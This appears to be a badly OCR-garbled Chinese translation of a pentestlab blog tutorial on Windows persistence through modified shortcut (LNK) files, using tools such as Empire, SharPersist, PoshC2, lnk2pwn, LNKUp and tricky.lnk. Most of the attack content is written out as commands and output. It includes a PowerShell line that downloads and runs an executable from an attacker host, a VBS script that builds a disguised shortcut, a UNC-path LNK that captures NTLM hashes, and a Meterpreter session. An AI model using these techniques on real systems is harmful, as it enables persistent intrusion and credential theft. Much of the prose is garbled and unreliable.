Windows it 75 s &3 R4 2 A sC s (M EAM) (1951 . BB HIZ
W1, (8 B T S R T B A RS DA SRR A 0 —Fh 75 i BT U Sy g 4 2 LNK, &8
IBHRAL TR Z AL e 45 Fiis U9 4CHG (exe, vbs, Powershell, scriptlet%s) sz fNTLMKG
Al F RS T i 2 B SOA A E s T Sy B, (R A s B A A RFE B pe s 77 =0T LA RS 4
FrER I R G

Empire

Empiretd & — MR AMSER, 2l LUS T TE AT (LNK) |, DRTEE R PowerShellfy
BA#. B TGETT ) B AR BO e 2 AR T A AR TE R T base 6 4 Ak o

usemodule persistence/userland/backdoor_ lnk

(Empire: powershell/persistence/userland/backdoor lnk) = run

[*] Tasked

[*] A A ; task

[*] T: = 4 to run le powershell/persistence/userl /backdoor_1lnk
(Empire ~shel rsistence/userland/backdoor_lnk) > [*] Agent A 5214 returned results
ob start 13AMNP

[*] valid r Llts returned by 10.0.2.30

*] Agent A 14 returned r

[*] B64 script stored at 'HKCU:\Software\Microsoft\Windows\debug’

[*] .LNK at C:\Users\panag\Desktop\XLite.lnk set to trigger

Invoke-BackdoorLNK run on path 'C:\Users\panag\Desktop\XLite.lnk' with stager for listener "http’

[*] Vvalid results returned by 10.0.2.30
Empire— 5[ JELA DT
AT R MR oR B iR B E g S L T Power Shel i 2 4.


af://n2

»¥ Xlite Properties X

Colours Security Details Previous Versions
General Shortcut Options Font Layout
v XLite
A

Target type: Application

Target location: v1.0

Target: arshell.exe -w hidden -nop -enc WwB|TAHkAcwBO

Start in: C:\Users\panag\AppData\Local\CounterPath\X-Lit

Shortcut key:  |None

Run: Minimised v
Comment: X-Lite
Open File Location Change Icon... Advanced...

Empire—{&0a iy st )=

TP U T I sk, I g e B — ik Windows g s b, I B 5o fis
R 55 A AT A o

ce/userland/backdoor_1lnk) = [*] Sending POWERSHELL stager (stage 1) to 10.0.2.30

active (Slack)
30

Empire-if i Py o 2%
B2, Empirefd&— 1] T4 B A LNKSCHR RS A 178 1B



usestager windows/launcher 1lnk
set Listener http

execute

(Empire: stager/windows/launcher lnk) > set Listener http
(Empire: stager/windows/launcher Llnk) = set OutFile empire.lnk
(Empire: stager/windows/launcher lnk) = info

Mame: LNKLauncher

Description:
Create a .LNK file that launches the Empire
stager.

Options:

Name Required Value Description

Listener Listener to generate stager for

OutFile empire.lnk File to output LNK to.
LNKComment LNK Comment.
Base64 True Switch. Base64 encode the outpu

Proxy default Proxy to use for request (defau

1t, none,
or other).

Empire- g1 i 50
BOMBOLT s AR T S A B O 2B il AR AR A R AR Y o

Empire- 5l /=




PebE Ty 2 B s 7 Bol i 0 f 7 Base 6 4/ % 2 i Power Shell iy 4

BRSOt AR A -

= empire Properties

F5e. ATLMEIRGETT X I 50

X

Colours Security Details Previous Versions
General Shorteut Options Font Layout
A= empire

Target type: Application

Target location: v1.0

Target: II\v1.0\powershell.exe powershell -noP -sta -w 1 -
Start in:

Shortcut key:  |None

Run: Normal window v

Comment:

Open File Location Change Icon...

Empire- i@k

SharPersist

Advanced...

SharPersistfgf gl Internet Explorert Ty =, iZHHETT ZOR AT ERA UM BT P HCE AR J5 )

SR LS AN -


af://n23
https://github.com/fireeye/SharPersist

SharPersist.exe -t startupfolder -c "cmd.exe" -a "/c C:\temp\pentestlab.exe" -f
"pentestlab" -m add

arPersist.exe -t startupfolder -c "cmd.exe" -a "/c C:\temp\pentestlab.exe" -f "pentestlab" -m add

\Startup\pentestlab.1lnk
INFO:

SharPersist —uff j5=;
MR TR IR, B T AR E, I Meterpreter<sid.

Started rever

Sending stage byt to 10.6.2.30

Meterpreter sessi 2 opened (10.0.2.21:4444 -> 10.8.2.30:51213) at 2019-10-
06 09:11:39 -0400

: getuid
Server username: OUTLOOK\panag

SharPersist — Meterpreter

PoshC2

PoshC2 ] UG — A LNKSC#F 44 H B 8 B A WIndows J5 gl SO rp LAURSFRF AL . AT LLE I 0T
LA i 4 SRR A -

install-persistence 3

PoshC2 — 5z LNK X {4

fEWIndows s R, Peft )y 2O S E TR I S TE, 2RI E & base6 4% [ stager


af://n31

issued against implant 4 on host OUTLOOK\panag @ OUTLOOK (@87/18/2819 17:59:33)

returned against implant 4 on host 0U \ ag @ ouUTLOC (07, , 19 17:59:34)

and a

\IEUpdate.lnk

PoshC2 —He 5
ZRI

FEH IR LL AN T HALZ S, A 2 A AT T AOS R PAETT 20 X debhdt 7 2O E AL 33
PR AR TR AMER 2 — M R ERYE R, PUNBRUE B & AR S & MR H Ik 55 e AV 815 -

Inkapwn 2 fiJavass i TR, R THIMEE RO, 7T LA fr 54t £ 78R e 501 ik
MERAS

java -jar lnk2pwn.jar

Ink2pwn
Fia
Target Path Working D8
Wind ow st Systemi 32 md. W 5ystem.
Fake Extersion Ieen Lscation Icon Indes Window Styse
pentestiab 1t CoMindowsSystem 3 dinotepad e ] [ ZED

AL Bypass
File Namel_vbs)
bypass.ubs

Cemmand

Ink2pwn — GUI

BT, Inkopwnitg B il thi& G0 SRS T =, (H2 AT DU A B bR o


af://n39
https://github.com/it-gorillaz/lnk2pwn

Ink2pwn —fiic S A B 7y =

i HILNKUp python A m] LASEEIR MR S5, AR AT DA T AP AR 5 4 i g B H e P Y
NTLMG 7 f Pt T

python generate.py --host 10.0.2.21 --type ntlm --output out.lnk

:~/LNKUp# python generate.py --host 10.0.2.21 --type ntlm --output out.lnk

555 | 85| 85 /53]

Ss58| $5| 85 /587 | s5 | 88 /sssess
$$ $$ 3| /] $5 | $% /95 $$
$$ $$55| $5 $$ | 55 | $5| $ \ 33
SS\  $5S| S5\ S5 | 55 | $5| $5 | 35

§$ \ $$] $%\ $$| $55556/| $595458/
oSS £ 715/

EEEEEEEEEEE:
RN ;

3

; £
3 3 3 o 3 o3 3 o o 3
ECEE I R I

EE T N A R R R

ile saved to /root/LNKUp/out.lnk
C out.lnk with UNC path \\10.0.2.21\Share\271085.ico.

LNKUp — NTLM#; 7 et 7 =X

A B LNKSC RS A S UNCES /2, R R B iy gy, sl B RNTLMG & (E 1
Metasploittitf,

use auxiliary/server/capture/smb



https://github.com/Plazmaz/LNKUp

[#] SMB Captured - 2019-10-06 17:14:02 -0400

NTLMv2 Response Captured from 16.8.2.38:55757 - 10.6.2.30

USER:panag DOMAIN:OUTLOOK 05: LM:

LMHASH:Disabled

LM CLIENT CHALLENGE:Disabled

NTHASH:cc9e2b3ed45at54bb4e862f4a4625ebb
HT_CLIENT_CHALLEHGE:B1ﬂlﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂb12a?cBB(E?cd5ﬂl312465E3d1fE??1ZBBBBBBBBﬂzﬂB
POEEEEEPEDEEEEDEOER.

[*] SMB Captured - 2019-10-06 17:14:02 -0400

NTLMv2 Response Captured from 16.8.2.38:55757 - 10.6.2.30

USER:panag DOMAIN:OUTLOOK 05: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:DiSabl

NTHASH:8c81%aa4f1dB1563b0e 9blbf1978b

MT CLIENT CHALLENGE:91010006800000000bl12e7cB8ce7cd5018f6bco334c76T202000000000200
000000NAEANAAONAEON

LNKUp — NTLM##zk

A A T LU T AU i sNTLM b Ak ey, DAGEYS IR A R Gl - B9 Bk LNKUpIE B Ay
A e AT AT A B PRAE T R T RE

python generate.py --host 10.0.2.21 --type ntlm --output pentestlab.lnk --

execute "cmd.exe /c C:\temp\pentestlab.exe"

:~/LNKUp# python generate.py --host 10.0.2.21 --type ntlm --output pentestla
b.lnk --execute "cmd.exe /c C:\temp\pentestlab.exe"

/5% /%% /3% /5% /%%
$5% | $%| $% /587 %%
$555) $%| $% /5% |

| $%
| $$ $%
| $$ 33 $5| $3$35%/ | %3
| $3%
| $%

|
| /$$$%%%

| $% /%3 $3% ##
| $$] $3 \ $% ##

$6  $585| $$ S5 |

$% $!
$E555555| 35 N S5 S N B3| 555555/ | $55555%/ ##
"l f N S| S

3N 5335 S\ 53 | | $$| $$ | $% 7

¢ created at pentestlab.lnk with UNC path \\10.8.2.21\Share\34142.ico.
LNKUp ~ {7674
xillwillxJf % 17—~ 4 Mricky.InkfyPowerShell i A, %A AT LG —4 LLunik 2418 9. LNK

SO, T RO InKY R 2 A SO R R I xt . AR RRd R 4K 4 — - PowerShell@y 4, iz
R MGEFER 5 T BOCHE I B RS LT

C:\Windows\System32\WindowsPowerShell\vl.O\powershell.exe -
ExecutionPolicy Bypass -nolLogo -Command (new-object
System.Net.WebClient) .DownloadFile ('http://10.0.2.21/pentestlab.exe’','p
entestlab.exe');./pentestlab.exe;



https://twitter.com/xillwillx
https://github.com/xillwillx/tricky.lnk

Input the .lnk filename. {ex.: ReadMe): Passwords

Input the complete url of the exe to webDL. {ex. http://illmob.org/test.exed: http://10.08.2.21/pentestlab.exe

Input filename to save as. {(ex.: notavirus.exe): PentestLaboratories.exe

PS C:\Users‘\panag>

Tricky2 — PowerShell

s, %00 LS — /MBS, A AT LUAST TPowerShell A IR M.

tricky - Notepad - O X

File Edit Format View Help

Set WshShell = CreateObject("WScript.Shell")

Set ShApp = CreateObject("Shell.Application")

DesktopPath = ShApp.Namespace(8).Self.Path

unicode = Unescape("%u@852%uB065%u0061%ue064%ude4diude65%uenstiu202e%ud074%u0078%ue074%ud02e%ul06ciuobe
unicodeName = "unicode.lnk"

shortcutPath = DesktopPath & "\" & unicodeName

Set 1lnk = WshShell.CreateShortcut(shortcutPath)

Ink.TargetPath = "powershell.exe"

lnk.Arguments = "-ExecutionPolicy Bypass -nolLogo -Command notepad.exe;(new-object System.Net.WebClient)
Ink.IconLocation = "c:\windows\system32\notepad.exe"

Ink.Description = "Type: Text Document™

1nk.Save()

Set FSO = CreateObject("Scripting.FileSystemObject")
Set file = FSO.GetFile(shortcutPath)
file.name = unicode & ".lnk"

Tricky — VBSJHIA

IFEXHY - KX HIBYypass BREHFIFE, (XHTFLAHa i1 2 o

JA X ) https://pentestlab.blog/2019/10/08/persistence-shortcut-modification/



https://pentestlab.blog/2019/10/08/persistence-shortcut-modification/
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